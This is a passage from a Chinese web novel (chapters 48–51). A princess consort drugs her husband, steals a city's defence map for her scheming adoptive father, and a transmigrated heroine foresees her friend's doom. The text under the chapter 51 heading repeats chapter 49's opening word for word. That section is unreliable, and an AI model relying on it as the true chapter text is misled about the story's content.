“是,王妃。”春夜下去,很快将良辰美景带了回来。 温斩月目光在三人的面前扫了一眼。 “如今本宫能信任的只有你们了。”温斩月从一旁拿出一张人皮面具递给良辰。 “你与本宫身形相似,本宫要你从今日起,开始扮演本宫。” “什么?”良辰惊讶地抬起头,“这万万使不得啊,奴婢怎么能扮演王妃呢,这要是被人发现了……” “被人发现就以死谢罪吧。”温斩月打断。 “本宫要去做件事,要不是你会武功,扮演起来最像,本宫也不会找你,你别忘了,美景的解药还捏在本宫的手里。” 良辰迟疑了下,走上前,接过面具。 “奴婢要演多久?” “三月以上。” “这么久?”良辰心中疑惑,却不敢多问,“奴婢知道了,不过奴婢有一事相求,希望王妃可以应允。” “三月后,解药给你。” “王妃说到做到。”良辰没再推辞。 温斩月将王府的账本递给春夜。 “你跟在本宫身边的时间最久,对于王府的事情也了解得最清楚,本宫走后,王府就交给你了,明面上听良辰的吩咐,但暗地里你自己拿主意。” “奴婢不行。”春夜连连摆手。 “这些事情都是梨落姑娘来做的,奴婢哪里会?王妃还是交给旁人吧。” “梨落有她自己的事要做。”温斩月强硬地将手中的账本塞给春夜。 “和良辰一样,坚持三个月,本宫自然有赏。” “那奴婢试试吧。”春夜将账本接下。 温斩月从旁边拿出一个单子递给美景。 “你做事细心,从中辅佐她二人,接下来最重要的事就是风展将军和林清霜的婚事,该怎么做的,本宫一一列在单子上了,你们三人务必齐心,照看好王府。” “那,王妃要去做什么?”美景接过单子,小声询问道。 温斩月垂眸,过了许久,才缓缓开口。 “本宫要去做,本宫该做的事。” 吩咐好王府一切事宜,温斩月给东六街珍宝楼去了一份书信,她不确定梨落是否能收到,但还是写了。 在信中,她跟梨落道了歉。 希望梨落大人不记小人过,等到她回来的时候再赔罪。 随后,便牵着星芒离开了京都城。 送给容妄的生息粉里有她添加的香素,人是闻不到这种味道的,只有她养的寻香蝶可以。 有寻香蝶引路,不怕她找不到容妄。 …… 温斩月的书信送到了珍宝楼,梨落并没有收到。 这份书信落在了上官白的手里。 自那日梨落离开后,就再也没有回来,她给红袖和添香吩咐过,有掌柜印信的人就是新的老板。 红袖一直以为会是夜王妃呢。 没想到来的人是上官白。 珍宝楼,二楼雅间。 红袖将信送了上去,“梨落老板不在,这信只能交给小公爷了。” “出去吧。”上官白摆摆手。 他今日来就是翻阅东六街的账本的。 梨落突然把东六街送给他,这让他有些猝不及防,虽然梨落后面又提出了新的条件,但是他还是觉得这是个火坑。 但账本里,盈利颇多,没有漏洞。 合上账本,上官白拿起了桌上的书信,虽然不经过别人的允许偷看别人的信件是不道德的。 可现在梨落不在,万一夜王妃有什么要紧事呢。 他的附加条件里可是答应了梨落,无论将来发生什么事情,他都要站在夜王妃的身后,东六街赚的钱,也要一分不少的分给夜王妃一半。 说服了自己,上官白便拆开了信封。 看到信里面的内容,上官白的脸色也变了。 虽然他平日最痛恨容妄,可容妄是天月王朝的定海神针,他突然离京,没有一个人知道,肯定是发生什么大事了。 不行,他得进宫一趟,从姑母嘴里问出点什么。 温斩月骑着星芒一路狂奔。 沿着寻香蝶的方向,她一边走,一边停歇,控制好跟踪的距离。 但随着时间变长,温斩月心中的不安终于被确认。 容妄要去的地方是边疆,但边疆是义父的地盘,容妄要去做什么她不知道,但她猜得出来,肯定和义父有关。 难道是义父嫌她进度太慢,特意设局,引容妄前去吗? 义父的手段她清楚,容妄若是落到义父手里,定然是求生不得求死不能。 她必须要提前赶到。 想到这里,温斩月干脆抄了近路。 只要她先容妄一步到了边疆,一切就还有转圜的余地。 …… 边疆,荣王府。 后花园里,苏梨落坐在秋千上,闲来无事地晃动着双腿。 自从跟上官白交代完事情后,她便回家了。 也不知道她家阿月过得如何了?会不会怪她不辞而别?更加不知道上官白有没有违背他们的约定。 “郡主。”丫鬟粥粥走过来,“王爷派人送来了一批画像,说是要郡主今日无论如何都要挑出一个能成亲的人来。” “都要死了还成亲做什么。”苏梨落无精打采。 “呸呸呸。”粥粥急忙拍拍嘴。 “郡主莫要胡说八道,这上好的年纪,怎么动不动就生啊死的,郡主以后定会长命百岁的。” “你不懂。”苏梨落将目光看向远处天空中自由飞翔的鸟儿。 她最快乐的日子就是待在阿月身边的时候,只有那个时候,她才是真正的梨落,能做自己想做的事,能爱想爱的人。 但回到这里,她就是郡主苏梨落。 自由,不存在的。 长命百岁,更不可能。 “粥粥啊。”苏梨落从秋千上跳下来,满眼悲凉。 “以后你就要去伺候别人了,也不知道你下一个主子会不会像我一样温柔,对你这么好。” 粥粥:“……” 自从郡主回来后,就一直怪怪的。 看来王爷说的的确没错,京都城的风水不对,谁去一趟都得疯。 晚些时候,苏梨落用了晚膳便回房歇着。 荣亲王从外面回来,只能看到自家女儿无精打采地躺在床上,一动不动。 “那些画像上的人都不喜欢?”荣亲王坐在床边,轻声询问道。 苏梨落不想回答,干脆捂住了耳朵。 荣亲王也不恼,耐着性子道:“你也年纪不小了,总不能跟在阿月身边一辈子,她是你的姐妹,不是你的夫君,你这一辈子也不能一直围着她转。” “父亲说的好生可笑。” 苏梨落从床上坐起来,“不是我要围着阿月转,是我和阿月都围着父亲您转,您要我们去京都我们就去京都,您要我们回来就要我们回来,何曾问过我们喜欢什么?我们想要什么?” “利用就说利用,何必演什么父慈女孝的戏码。” “阿月吃您这一套,但我不吃。” 苏梨落一口气说了这么多,但荣亲王一点都不生气,反而笑了笑。 “这是你从京都城里回来后,和为父说得最多的一次。” “装什么?”苏梨落的确不吃这一套,“你对着阿月挟恩以报,但这招对我不管用,您要是看不惯我,大可让我滚,实在不行,杀了我也行,反正烂命一条,我也没在怕的。” 苏梨落说完,重新躺下去背过身。 荣亲王叹了口气,伸出的手在半空中停顿一下,又缩了回去。 “为父知道你是因为当年你母亲的事情恨我,但过去的事情都已经过去了,这些年为父也不曾管过你,放任你自由了这么多年,你还有什么不满?” “父亲放过阿月,我就满意。” “那不可能。”荣亲王想都没想便否决了。 “你与我是血亲,这自然是旁人比不得的,但阿月是我捡回来的,当年捡回来时,她便已经有了她该有的用处。” “为父知道你不开心,没关系,过两天,阿月也该回来了。” 苏梨落猛地从床上坐起来。 “你又做了什么?” “没什么。”荣亲王依旧得体地笑着,“只是使了一点手段,让圣上将夜王派遣到了边疆。” “阿月那么喜欢夜王,不会任由他一个人,独自来冒险的。” 苏梨落如遭雷击,愣在原地。 这段剧情她当然熟悉了,可这是半年后的剧情啊,怎么会提前提上来,到底是什么东西影响了剧情?为什么剧情会被加速? 明明阿月还有半年的日子好过。 梨落很想脱口而出,问个清楚,可手臂上钻心的疼痛强迫她闭嘴。 她只能冷着脸,不去看眼前这个满心算计的男人。 大抵是察觉了女儿不愿意见到自己,荣亲王也没待多久便离开了房间。 荣亲王一走,梨落瞬时一口鲜血喷涌而出。 …… 星芒不愧是一批良驹。 温斩月最终还是赶在容妄之前,来到了边疆。 回到荣亲王府,温斩月将星芒交给下人牵走,自己则是直奔王府的书房而去。 刚一推开门,就看到荣亲王不悦的眼神扫过来。 “夜王妃当久了,便不知道自己几斤几两了吗?”荣亲王将手中的折子朝着温斩月扔过去。 温斩月跪下去,低头请罪。 “义父恕罪。” “哼。”荣亲王冷嗤一声,便不再理会温斩月。 温斩月一直跪到晚上,荣亲王才慢悠悠地放下手中的折子。 “若你是为了夜王求情,那大可不必。”荣亲王起身,走到温斩月的面前,将人扶了起来。 “想必你也知道义父的心思,若你能说服容妄,让他归于义父麾下,那你们俩的事情,义父不会掺和。” “义父。”温斩月抬眸。 “我愿意为您做一切的事,但容妄不能动。” “你对他还真是痴心。”荣亲王眼里带着一丝怜悯,“既然如此,你去帮本王做另外一件事,做成功了,你和夜王都可以安然无恙地回到京都城去。” “义父请说。” “我要江州城的布防图。”荣亲王冷声道:“三日,就给你三日的时间,若你拿不到,那夜王必死无疑。” “义父放心,三日城防图不到,阿月的首级便放在义父的书桌上。”说着,温斩月头也不回地离开书房。 苏梨落找来时,只能看到温斩月离开的背影。 “糟了!”苏梨落暗道一声,她刚要追出去,就被王府的侍卫们拦住。 “让开,我可是郡主,你们想以下犯上吗?” “郡主别为难小的。”侍卫们面面相觑,但就是没有一个人肯让开。 “是王爷吩咐的,在斩月郡主没有回来之前,郡主您哪里都不准去。” “放肆!”苏梨落气急。 “这么生气做什么?”荣亲王从身后走过来,“阿月已经去做她该做的了,你拦也拦不住的。” 苏梨落停下来,她转过身,盯着自己所谓的父亲。 “我只问你一句,容妄来边疆是不是个幌子?他人其实在江州城对不对?” 荣亲王等了片刻,轻笑出声。 “不愧是本王的女儿,就是聪明,若你是个男子,本王也算是后继有人,但偏偏……” “你真阴险。”苏梨落打断荣亲王的话。 “阿月为你做了这么多,她只要一个容妄,为什么你连这个都要毁掉?” “一把刀是不该有感情的。”荣亲王冷下脸来。 “从一开始,容妄就该是温斩月这把刀最好的磨刀石,他只能让这把刀更加锋利,而不是给她套上刀鞘,让她收敛杀心。” “她叫了你这么多年的义父,你就一点都不动容?” “你也叫了我多年的父亲,你呢?有真的把我当成是父亲吗?”荣亲王凉凉道。 第49章 一场骗局 苏梨落无法反驳。 在这个世界里,除了阿月,其他人对她来说都是纸片人,她当然没有什么感情了。 尤其是荣亲王一个配角,她早知他狼子野心,又怎么会真心认他做父亲。 苏梨落地迟疑像是一把利刃刺入荣亲王的心脏。 他这辈子就爱过一个人,那就是他的王妃嫣然,嫣然死了他是最最伤心的,所以对嫣然留下来的唯一一个孩子,他也十分宠溺。 但,女儿好像生来就和他不亲近,不管自己做什么,在她的眼里都是有利可图。 苏梨落不说话,荣亲王也不逼迫,只是吩咐侍卫们将苏梨落带回房间去。 荣亲王府有层层侍卫把守,苏梨落想跑是不可能的,只能关在房间里面干着急。 粥粥看到自家郡主这样,实在不忍心。 “郡主,要不你写一份书信,我偷偷给斩月郡主送出去吧。” “不行。”苏梨落摇摇头。 “要是书信落到父亲手里,你这条小命还要不要了?” “可粥粥也不能看郡主一个人干着急啊。” “都是命。”苏梨落颓然地坐在榻上,“故事的走向从一开始,就已经注定好了,不管我做什么,终究都是徒劳的。” 她没几日好活了,剩下的命还是放在关键节点,为她家阿月再博一次吧。 …… 江州城里,锣鼓喧天。 温斩月到了地方,便看到街上热闹异常,她随便找了个人问。 “大爷,城里发生什么事了,怎么这么热闹?” “你还不知道吗?”大爷神情激动,“我们少城主要娶媳妇了!” “少城主?” “对啊。”大爷十分健谈,一会儿就把家底全都说出来了。 “我们城主老来得子,最最在意的就是少城主了,只不过少城主长得实在是有点磕碜,好多人家的女儿都不愿意嫁给少城主。” “但最近也不知道是怎么什么运气,有个女子受伤,被少城主所救,那女子不嫌弃少城主的样貌,执意要跟少城主成亲,城主高兴坏了,下令全城热闹七日。” 大爷的话让温斩月有些疑惑。 按照大爷所说,这门婚事也来得太巧了,偏偏赶在她要来偷取城防图的节骨眼上,简直就像是为她量身定做的一般。 会不会容妄此行的目的,也是江州城呢? 温斩月来不及深想,她在城内找了一家客栈先住下,打算等到入夜后,亲自去城主府探一探。 入夜,城内安静一片。 温斩月换上夜行衣,朝着城主府的方向摸过去。 她住的客栈离城主府的距离并不算远,所以没花什么功夫便到了。 整个城主府张灯结彩,十分喜庆。 温斩月四处转悠,找到了传闻中的少城主白墨的房间。 她飞上房顶,揭开瓦片。 房内,白墨正坐在榻上,对着面前的书童长吁短叹。 “阿言,你说这婚事到底能不能成啊?”白墨捧着自己的脸,有些无奈地摇头,“我这样的人,是不会有人喜欢我的。” “少爷别乱说。”阿言急忙道:“您身份尊贵,冰冰姑娘能嫁给您,是上辈子修来的福气,您无需担忧。” “可我还是觉得有些奇怪。”白墨歪着脑袋。 “她之前说什么都不同意,突然间就松了口,我心里总觉得不踏实。” “或许是冰冰姑娘想通了呢。”阿言安抚道:“虽然少爷您的确长得一般,但毕竟是少城主呢,冰冰姑娘就算不为您的容颜心动,也会为您的钱心动。” “你还是少说两句吧。”白墨撇撇嘴,表示自己并没有被安慰到。 要说也真是奇了怪了,他父亲好看,娘亲好看,怎么就他不好看,从小他就怀疑自己的身份,现在更加觉得自己是捡来的孩子了。 见自家少爷颓废,阿言也收起了毒舌。 “别想那么多了,少爷虽然长得不怎么样,可您心地善良,救助了多少人,我相信冰冰姑娘是打心眼里喜欢少爷的。” “真的吗?”白墨抬眸。 “当然了。”阿言拍拍胸脯,“我什么时候欺骗过少爷啊。” “还记得当初,我家穷得揭不开锅,我父亲要把我卖了,是少爷收留了我,给我一口饭吃,这么多年,我虽然是个书童的身份,可在府中,我过得跟少爷一样的生活,这要是换了旁人,早就对我不满了。” “阿言……”白墨心中感动。 阿言眼底有些温热,他抹了一把眼眶,长出一口气。 “所以少爷别想太多,安心的等着迎娶冰冰姑娘,就算她现在不喜欢少爷,将来和少爷接触下来,也会为少爷动心的。” “谢谢你。”白墨由衷道。 阿言没再说什么,伺候白墨睡下,才从房里退出来。 房顶上的温斩月盖上瓦片,从黑暗中隐去。 如果按照白墨所说,那她猜得应当不错,这桩婚事的确有蹊跷,但具体如何?她还得去试探试探那位冰冰姑娘。 回到客栈,温斩月换下夜行衣,先睡下了。 第二日一大早,温斩月买了人皮面具,给自己稍微易容,让自己看起来没有那么扎眼。 随后便去找了城内的人牙子,给了人牙子一笔钱。 人牙子姓刘,经常做一些给城中权贵提供人力的买卖。 看到温斩月,他来回的转圈打量,精明的眼神里带着些许算计。 “你想去城主府做丫鬟?” “是。”温斩月点头。 刘牙子啧啧两声,目光看向别处,手却伸到了温斩月的面前。 “此事有点难办啊。” 温斩月掏出一锭银子放在刘牙子手里,“现在还难办吗?” “有点,但比刚才好办多了。”刘牙子双眼冒着精光。 温斩月又拿出一锭银子,“这是最后的钱了,若是您不能办,那我就换个人去办。” “能能能,这有什么不能的。”刘牙子一把抢过温斩月手中的银子。 “不就是去城主府当丫鬟吗?我今日就能将事情办妥。”刘牙子将钱塞到自己的怀里,“城主府的管事是我的远方表亲,塞进去一个人而已,很简单的。” “什么时候办妥?” “今日就行。” 刘牙子见钱眼开,当即便带着温斩月去了城主府,两人到了后门,也不知道刘牙子跟管事的说了什么,那管事竟然也真的没有阻拦,带着温斩月进去,吩咐嬷嬷给温斩月准备了丫鬟的衣服。 换上丫鬟的服饰,温斩月打算去看看,却被带她进来的容嬷嬷拦下。 “你要去做什么?” “初到府上,想要四处看看,免得不熟悉,冲撞了贵人。”温斩月低着头,说出来的话十分得体。 容嬷嬷冷哼一声,“别以为我不知道你是怎么想的,我告诉你,少城主婚期在即,这个节骨眼上,谁都不能出乱子。” “是。”温斩月点头。 “你就去伺候冰冰姑娘吧。”容嬷嬷嘴角带着一丝不怀好意的笑容。 “她将来可是我们的少城主夫人,你若是将她伺候的好了,以后在城主府的地位可就非同一般了。” “多谢嬷嬷提携。” 温斩月此番进府,就是要去试探一下这位冰冰姑娘。 她本以为还要费些时间,没想到容嬷嬷直接将冰冰姑娘送到了她的跟前,但温斩月并不觉得高兴,反而加深了心中的怀疑。 这一切,真的太顺利了。 温斩月离开后,容嬷嬷来到走廊拐角处,那里站着一个人影,正是容妄身边的侍卫青澜。 “交代你的事情可办妥了?” “青澜侍卫说的,老奴那里敢懈怠。”容嬷嬷满脸讨好的笑容。 “只不过这位姑娘到底什么来头?夜王殿下要花费心思做局来引她,为什么不直接将她拿下,好好审问。” “不该你管的事,你少操心。”青澜白了一眼。 荣亲王和朝廷多年来,一直都达到了一种微妙的平衡,此番突然那引出来消息,说荣亲王有谋逆之心。 如果荣亲王真的谋反,他家王爷早就带兵了。 可怕就怕这是荣亲王放出来的烟雾弹,若是他们先动手,反而不占理。说不定还会给荣亲王一个谋反的借口。 江州城这个地方十分特殊,荣亲王若是想要谋反,一定会嫌拿下江州。 但江州易守难攻,想要拿下,除非有明确的布防图。 荣亲王若是真的想要做点什么,肯定会盯上城主府的布防图,所以他家王爷才设下这么一个局,为的就是要瓮中捉鳖。 城主府南院,温斩月端着茶盘走进去。 “奴婢参见冰冰姑娘。”温斩月将茶盘放到一旁。 “你是新来的?”冰冰抬起头,上下打量了一眼。 温斩月点点头,“奴婢是今日刚入府的。” “你叫什么名字?”冰冰走过来,围着温斩月转了一圈。 温斩月将头压得更低了。 “奴婢名叫月落。” “月落?好名字。”冰冰回到榻上坐下,“过来,给我捶捶腿吧,我最近身体不太好,总是腿疼。” “是。”温斩月走进。 她伸出手在冰冰的腿上捏了捏,心下已经明了。 这个人会武功,绝不是白墨口中需要相救的女子,只怕从相救到以身相许,都是一场骗局。 这骗局是谁的手笔,她大概也猜得出来。 其实从义父要她来拿城防图的时候,她就有所怀疑。 义父想要城防图是真,要她跟容妄决裂也是真。 “你在想什么?”躺在榻上的人忽然开口。 温斩月垂眸,“奴婢只是在想,冰冰姑娘花容月貌,为何会答应嫁给少城主?” “人不可貌相,他虽然长得不怎么样,可是心地善良,值得我喜欢。”冰冰抬起温斩月的下巴。 “倒是你,长得不怎么样,也敢妄议主子的事情。”冰冰说完,眼中闪过一丝狐疑。 温斩月急忙扭过脸。 人皮面具再怎么逼真,也和真实的皮肤手感不同。 “是奴婢的错,奴婢这就出去领罚。”说完,也不等冰冰同意,温斩月便快速地从房间退了出去。 她走得那样着急,让榻上的人再次狐疑地皱起眉头。 …… 该探听的都已经清楚,温斩月便没有什么好逗留的,她找了一个人,戴上人皮面具来伪装她的模样留在城主府。 而她回到客栈后,便换回自己的真实样貌。 容妄想要设局抓她,那她干脆就不装了,玩一手明牌。 转眼间,婚期已到。 温斩月从客栈离开后,随便买了一份礼物,便朝着城主府而去。 青澜伪装成家丁在门口跟管事一起,盯着今日来参加婚宴的人,当目光看到自家王妃时,青澜眼睛都瞪大了。 但温斩月仿佛没看见,她将礼物扔到桌上。 “京都夜王府。”说完,也不管旁人的眼神,便直接走了进去。 管事偷瞄了青澜一眼,青澜也很懵逼,吩咐管事继续盯着,而自己则是去后院找自家王爷汇报去了。 “你说什么?”容妄猛地站起身来。 “阿月来了?” “是啊。”青澜一脸想不通这是为什么的表情,“我们走的时候,王妃还好好的待在王府,谁知道今日她会突然来了,属下自己都吓一跳呢。” “那个叫月落的丫鬟呢?”容妄追问。 青澜回道:“紫英派人盯着呢,好像跟普通的丫鬟没什么区别,但紫英说那丫鬟可能戴着人皮面具,她试过,手感跟真实的皮肤很不一样。” “王爷,您不会是怀疑王妃就是……” “不可能。”容妄反驳道:“阿月和荣亲王不会有关联。” “那现在怎么办?”青澜一脸为难。 “王妃突然出现在婚宴上,怕是会打乱我们的计划,万一荣亲王要是知道,王妃岂不是很危险?” “这点自保能力阿月还是有的。” 话虽这么说,但容妄心中还是不免有些担忧。 “本王的行踪不能暴露,你去想个办法,在不引人注目的情况下,把王妃引到本王身边来,有本王在,荣亲王找不到下手之机。” “对了,千万不能打草惊蛇,莫要让计划一场空。” “属下明白。”青澜点点头,“属下这就去把王妃带回来。” 青澜离开后院,不动声色地混入人群中,寻找自家王妃的身影。 而此时的温斩月已经把周围的环境都摸了个遍,她眼角的余光瞥到青澜朝自己走来的时候,眼神下意识的深邃。 为了显得不那么刻意,温斩月故意看向别处。 第50章 她站在故事的开头,看向她必死的结局 青澜走到她面前时,她也没有回头。 “王妃跟我来。”青澜压低了声音,警惕的目光看向四周。 温斩月假装开口,看到青澜示意,又闭上了嘴。 跟着青澜来到后院,温斩月停住脚步,“王爷呢?” “在里面。”青澜朝着里面指了指。 温斩月提起裙摆,迈入房内。 刚一进去,就被容妄揽进了怀里,这怀抱温暖又用力,听着久违的心跳,温斩月的眼中闪过一丝不忍。 “你怎么来了?”过了好一会儿,容妄才松开。 温斩月环着容妄的腰。 “王爷丢下臣妾,臣妾当然不许,所以等王爷离开京都后,臣妾安排好王府中的一切,便前来寻王爷。” “只是追到江州城便失去了王爷的踪迹,今日来参加婚宴,也是想碰碰运气,没想到王爷真在城主府里。” “王爷,您想做什么臣妾都不拦着,但您能不能不要丢下臣妾?” 温斩月这样的性子是很难撒娇的,她千万年撒一次娇,容妄哪里拒绝得了,他只想把眼前人揽在怀里,好好的疼爱一番。 “以后本王去哪里都带着你好不好?”容妄低声细语的轻哄。 温斩月垂下眼眸,遮去眼底真实的情绪。 “王爷为何会来这里?”温斩月抬起头时,眼底已经没有半分犹豫。 容妄拉着温斩月走到一旁坐下。 他沉思片刻,捡着不那么重要的说给温斩月听。 “边疆局势不太好。”容妄表情沉重。 “若是边疆起了战乱,那天月便要再起战事,劳民伤财不说,也怕敌国虎视眈眈,所以本王此番前来就是为了稳住局势。” “边疆有荣亲王坐镇,难道还会有什么意外?” “你还知道荣亲王?”容妄抬眸,眼底闪过一丝怀疑。 温斩月点点头,“臣妾一路追随而来,江州城离边疆这么近,随便打听打听便能知道了。” “既然你知道,那本王也不瞒你,此番本王就是冲着他来的。”容妄端起茶杯,象征性的喝了一口。 “他若是没有野心,那一切好说。” “那若是有呢?” “那本王只能除掉他了。”容妄放下茶杯。 温斩月心里一咯噔,事情最终还是朝着她最不愿意看见的方向去了。 “荣亲王非死不可吗?” “是,非死不可。”容妄看向温斩月,眸子里隐隐藏着温情,“任何扰乱天月太平的人,都应该除之而后快。” “那我替王爷去杀了他。”温斩月起身要走。 容妄急忙拉住,“荣亲王身旁守卫森严,你如何能杀了他?不要轻举妄动,这件事情本王自会搞定。” “容妄。”温斩月缓缓开口。 “如果要你丢了王爷的身份,跟我一起浪迹天涯,你愿意吗?” “当然。”容妄不假思索地点头。 “本王一身无所求,唯你而已。” “那王爷最好说话算话。”温斩月没再说什么。 义父所求不过是容妄这尊杀神消失,等她拿走城防图,便带着容妄一起离开,天大地大,总有他们的容身之处。 温斩月想得很好,她也这么做了。 “王爷许久未见,不想念臣妾吗?”温斩月靠近容妄,“亲亲我。” 朝思暮想的人就在自己的面前,容妄哪里抵抗得住,自然是双唇相接,索求更多,只是他还没来得及发力,就失去了意识。 昏迷前,只能看到温斩月对他轻声说抱歉。 “睡吧,等你一觉醒来,一切都结束了。”温斩月说完,便将容妄放在床上,自己偷偷离开了房间。 有那个假的月落为她遮掩耳目,温斩月很快便来到了书房里。 她知道既然有局,那么城防图肯定不会放在书房里等着她去拿,所以她必须用一招声东击西。 趁着无人在意,温斩月在书房里放了一把火。 等到火势起来,城主府瞬间乱作一团。 “走水啦走水啦,快来救火啊!” “怎么回事?书房怎么会着火呢?” “月落不见了,城防图不会被拿走了吧!” “不可能!” 一群人乌泱泱的七嘴八舌,白城主也不知道是想到了什么,只是在书房前瞅了一眼,便急匆匆的朝着白墨的房间而去。 推开房门,白城主快步走到书架前,打开机关,找到暗格。 刚拿出里面的城防图,就被人从身后敲晕。 温斩月拿过城防图,没有半刻停留地回到了后院,将昏睡不醒的容妄带走。 两人刚离开不久,青澜便匆匆忙忙地赶来,一进门,发现半个人影都没有,不但自家王爷不见了,连王妃也不见踪影。 青澜眉心直跳。 他直奔新娘子住的地方。 “不好了,王爷不见了!” “什么?”冰冰揭开盖头,“月落人呢?” “她就是个幌子!”青澜着急道:“今日王妃突然出现在城主府,我把王妃带到王爷的面前,然后书房就起火了,王爷王妃也都不见了,紫英,你说会不会……?” 冰冰就是之前容妄派出去的紫英。 “之前王爷要我去查梨落姑娘,每次有点什么消息,提供线索的人都会被灭口,如果按照你说的,王妃极有可能是荣亲王的人!”紫英愤愤道。 “她都嫁给王爷了,怎么还不安分?” “那现在怎么办?”青澜追问道:“前去荣亲王府要人吗?” “你疯了吗?”紫英阻拦道:“你现在去荣亲王府要人,且不说没有证据要不到人,万一被荣亲王倒打一耙,那岂不是正中了他的下怀?” “可王爷的安危比什么都重要!” “行了。”紫英打断道:“为今之计,是去找玄雾,看看他有什么法子。” 青澜一听说要找玄雾,眉头再次紧皱,他刚要说什么,就被白墨仓皇着急的声音打断了。 “不好了不好了!”白墨拖着胖胖的身体闯进来。 “我爹被人打晕在房间,暗格里的城防图也不见了!” “什么?”紫英拔高语调,“什么时候的事?” “就在刚刚……”白墨看着紫英凶巴巴的模样,忍不住道:“冰冰,真是对不起,我也没想到婚礼能发生这么多的事情。” 紫英没看白墨,转头对着青澜道:“走吧,去找玄雾。” “等一下。”白墨抓住紫英的手腕,“冰冰你要去哪儿?你不嫁给我了吗?” “我当然不会嫁给你。”紫英抽出手。 “我们的婚事等白城主醒来后,他自会为你解释的。”说完,也不等白墨反应,紫英便带着青澜率先离开了城主府。 好好的一桩婚事,就这么毁了。 白墨瘫坐在地上,使劲儿地捶了捶腿。 他就知道自己根本不值得被人喜欢,果然,冰冰姑娘嫁给他,就是一出戏。 今日城主府遭殃,肯定也是有原因的。 …… 荣亲王府,书房里。 荣亲王坐在位置上,手里拿着温斩月呈上来的城防图。 “还真让你找到了。”荣亲王皮笑肉不笑道。 温斩月单腿跪下,“义父,东西我已经按照您的吩咐找来,希望您也能兑现之前答应我的承诺,放我和容妄离开。” “你想走?”荣亲王放下城防图。 “是。”温斩月毫不迟疑地点头。 荣亲王眼里藏着一抹不易察觉的杀气。 “本王养你这么多年,你就算不知感恩舍得离开本王,难道你能舍得丢脸梨落吗?她的心里将你看得有多重要,你很清楚,难道真要将她丢下一走了之?” “梨落对我很重要,但容妄也不轻。”温斩月抬起头。 “义父拿我当刀,我无话可说,可义父不该设计我与容妄为敌。” “我要走,义父早就猜到了,不是吗?” 温斩月站起身来,抽出一旁侍卫的刀剑,扔到书桌上。 “阿月这条命是义父给的,今日义父要么同意我与容妄一起离开,要么就一刀杀了我,总之,今后我绝不会再成为义父手中的刀。” 刀剑泛着寒光,荣亲王眼底的冷意更甚。 他捡回来的这个义女一直都很听话的,到底是从什么时候,竟然开始和他对着干。 他亲手培养出来的好刀,要是废了,或者不能被他所掌控了,他都会觉得很可惜的。 收敛眼眸,荣亲王和善一笑。 “这么生气做什么?在等几日吧,梨落的生辰快到了,你陪她过完生辰再走吧。” “梨落在王府?”温斩月诧异道。 荣亲王点点头,“你还没见过梨落,去看看她吧,她最近心情很不好,也不好好吃东西,你去的时候,带点她平日里喜欢吃的。” “我知道了。”温斩月面有凝色。 从书房里出来,温斩月专门去厨房吩咐厨子做了一些梨落喜欢吃的东西,她端着东西刚走到梨落的房门口,就听到里面好像有什么东西打碎了。 温斩月推门而入,苏梨落刚好擦掉嘴角的血色。 满地的汤药让温斩月眉头微蹙。 “你生病了?” “偶感风寒而已。”苏梨落坐起来,抬眸扫了一眼温斩月手里的食盒。 “给我带好吃的了?” 温斩月打开食盒,将里面的东西取出来拿给梨落,见梨落能正常吃东西,刚刚提起来的心也放下去不少。 “怎么一声不吭就从京都城离开了?”温斩月迟疑片刻,还是将心中疑惑问了出来。 苏梨落将东西咽下去,虚弱道:“还不是怪父亲,他觉得我到了年纪,应该成亲,所以便想了个法子将我骗回来,当时走得急,便忘了知会你一声。” “你瞧瞧。”苏梨落指着桌子放置的一堆画像。 “回到家就开始逼着我选夫婿,偏偏送过来的人,没有一个我感兴趣的,阿月啊,如今你回来了,可定要帮我好好劝劝父亲。” 说起这个,温斩月的脸色变了变。 苏梨落大概也猜的出来为什么,她在温斩月开口之际,先一步打断。 “对了,阿月,你来到边疆,容妄怎么办?他不会派人查你吧,要是被他查到你和我们的关系,岂不是……” “他也在边疆。”温斩月叹了口气。 她把最近发生的事情简单的跟梨落讲了一遍。 梨落越听,眉头皱得越深。 “你的意思是说,你现在把容妄囚禁起来了?” “是。”温斩月点头。 “等你生辰结束,我就带他离开。” “去哪里?” “天大地大,总有我们的去处。” 温斩月已经想得很清楚了,等到一切结束,她就带着自己剩下的钱和容妄找一处山清水秀的地方做一对神仙眷侣。 朝堂,天下,她都不会再关心。 苏梨落扯扯嘴,试图露出一个笑容。 可她笑得实在是太难看了。 她家阿月把这一切想的都太简单了,容妄是尊贵的夜王殿下,除了情爱,他还有将士,还有百姓,还有家国天下。 阿月走的这一步棋,断了容妄所有的后路。 如果容妄醒过来,他会恨她的。 而恨的结果,是将她家阿月大卸八块,砍去手脚,剥去人皮,就连骨头都被磨成了粉当成是夜王府花园里梨树海棠的肥料。 明明她都已经做了那么多的改变,可结局还是走向了不可避免。 苏梨落心中的苦涩快要淹没了自己。 从她穿到这个世界里开始,她就一直站在故事的开头,望向阿月必死的结局。 她还以为能避免的。 兜兜转转,到头来,还是走到了这一步。 “你怎么了?”察觉到苏梨落的情绪不对,温斩月主动问道。 苏梨落摇摇头,“没什么,就是觉得此事有蹊跷,父亲是个什么样的人,你我再清楚不过,他一直都是宁为玉碎不为瓦全的性子,我不相信他真的会放你离开。” “你把容妄关到哪里了?”苏梨落追问道:“若是父亲找到容妄,利用容妄逼你就范,那你岂不是还要乖乖听话?” “不会的。”温斩月安抚道:“我把容妄藏在了没有人知道的地方。” “那就好。”苏梨落放心的点点头。 “只要容妄没事,你就有更多的胜算,你放心,父亲那边我会帮你的,只要你和容妄能幸福,天大地大,都随你们去。” “你同意我走?”温斩月心中诧异。 苏梨落点点头,“比起让你在我身边,我更希望你能幸福。” 第51章 她只是个恶毒女配 苏梨落无法反驳。 在这个世界里,除了阿月,其他人对她来说都是纸片人,她当然没有什么感情了。 尤其是荣亲王一个配角,她早知他狼子野心,又怎么会真心认他做父亲。 苏梨落地迟疑像是一把利刃刺入荣亲王的心脏。 他这辈子就爱过一个人,那就是他的王妃嫣然,嫣然死了他是最最伤心的,所以对嫣然留下来的唯一一个孩子,他也十分宠溺。 但,女儿好像生来就和他不亲近,不管自己做什么,在她的眼里都是有利可图。 苏梨落不说话,荣亲王也不逼迫,只是吩咐侍卫们将苏梨落带回房间去。 荣亲王府有层层侍卫把守,苏梨落想跑是不可能的,只能关在房间里面干着急。 粥粥看到自家郡主这样,实在不忍心。 “郡主,要不你写一份书信,我偷偷给斩月郡主送出去吧。” “不行。”苏梨落摇摇头。 “要是书信落到父亲手里,你这条小命还要不要了?” “可粥粥也不能看郡主一个人干着急啊。” 